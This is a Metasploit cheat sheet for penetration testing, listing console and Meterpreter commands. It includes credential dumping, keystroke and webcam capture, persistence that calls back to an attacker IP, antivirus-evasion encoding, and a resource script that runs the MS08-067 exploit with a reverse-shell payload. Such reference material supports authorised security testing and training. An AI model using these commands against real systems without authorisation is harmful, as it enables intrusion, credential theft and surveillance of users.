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Metasploit Cheatsheet

A comprehensive cheat sheet covering essential Metasploit commands, modules, and techniques for penetration testing and vulnerability exploitation.

Core Commands

Basic Commands

help

Displays help menu.

banner

Displays the Metasploit banner.

version

Shows the current Metasploit version.

exit or quit

Exits the Metasploit console.

search <keyword>

Searches for modules related to a keyword.

info <module>

Displays information about a specific module.

Module Interaction

use <module>

Loads a module.

show options

Displays available options for the loaded module.

set <option> <value>

Sets a value for a module option.

unset <option>

Unsets a previously set option.

exploit or run

Executes the loaded module.

back

Returns to the main Metasploit console.

Database Backend Commands

db_status

Checks the status of the database connection.

db_connect <user>:<password>@<host>/<database>

Connects to a database.

hosts

Lists discovered hosts.

services

Lists discovered services.

vulns

Lists discovered vulnerabilities.

creds

Lists discovered credentials.

Meterpreter Commands

System Commands

sysinfo

Displays information about the target system.

getuid

Gets the user ID of the current process.

getsystem

Attempts to escalate privileges to SYSTEM.

pwd

Prints the current working directory.

cd <directory>

Changes the current directory.

search -f <filename>

Searches for files on the target system.

File System Commands

ls

Lists files and directories in the current directory.

download <remote_file> [local_file]

Downloads a file from the target system.

upload <local_file> [remote_file]

Uploads a file to the target system.

cat <filename>

Displays the contents of a file.

mkdir <directory>

Creates a directory.

rm <file>

Deletes a file.

Networking Commands

ipconfig

Displays network configuration.

portfwd add -l <local_port> -p <remote_port> -r <remote_host>

Forwards a port from the attacker machine to the target machine.

route add <subnet> <mask> <gateway>

Adds a route to the routing table.

netstat

Displays network connections.

resolve <hostname>

Resolve hostname to IP address

ifconfig

Displays network interface configuration (Linux).

Post-Exploitation

Credential Gathering

hashdump

Dumps password hashes from the SAM database (Windows).

migrate <pid>

Migrates Meterpreter to another process.

keyscan_start

Starts capturing keystrokes.

keyscan_dump

Dumps captured keystrokes.

screenshot

Takes a screenshot of the target’s desktop.

webcam_snap

Takes a snapshot from the target’s webcam.

Pivoting

autoroute -s <subnet> -n <mask>

Adds a route to the routing table for pivoting.

background

Backgrounds the current session.

sessions

Lists active sessions.

sessions -i <session_id>

Interacts with a specific session.

route print

Displays the current routing table.

meterpreter

Enters meterpreter shell.

Persistence

run persistence -X -i <interval> -p <port> -r <attacker_ip>

Sets up persistence on the target system (Windows).

run autorun -f

Execute commands from autorun script.

run metsvc

Uploads and runs Meterpreter as a Windows service.

reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

Enumerates registry keys.

use exploit/windows/local/persistence

Uses a specific persistence exploit module.

run scheduleme

Creates a scheduled task.

Advanced Techniques

Evasion Techniques

set EnableStageEncoding true

Enables stage encoding to evade antivirus.

set StagerEncoder <encoder>

Sets the encoder for the stager.

set StagerVerifyChecksum true

Verifies checksums of stager components.

generate -t <format> -f <filename>

Generates payloads in different formats (e.g., exe, raw).

use encoder/x86/shikata_ga_nai

Uses the shikata_ga_nai encoder for evasion.

set ExitFunc thread

Sets exit function to thread for stealth.

Module Development

Creating Auxiliary Modules

Use the auxiliary module type for scanning, fingerprinting, and other non-exploit tasks.

Creating Exploit Modules

Exploit modules are designed to take advantage of vulnerabilities in target systems.

Creating Post Modules

Post modules are executed on a compromised target system after successful exploitation.

Essential parameters

Name, Description, Author, License, References, Targets, Payload

Documenting Modules

Provide clear descriptions, usage instructions, and notes for each module.

Testing Modules

Thoroughly test modules against various target environments and configurations.

Resource Scripts

Creating a Resource Script

Resource scripts are simple text files with a list of Metasploit commands to execute.

Running a Resource Script

resource <path_to_script>

Example

 
use exploit/windows/smb/ms08_067_netapi
set RHOST <target_ip>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker_ip>
exploit

Variables

You can use variables in resource scripts to make them more flexible.

Comments

Add comments to your resource scripts to document what each command does.

Automation

Automate repetitive tasks, such as scanning a network for vulnerabilities or setting up a reverse shell.
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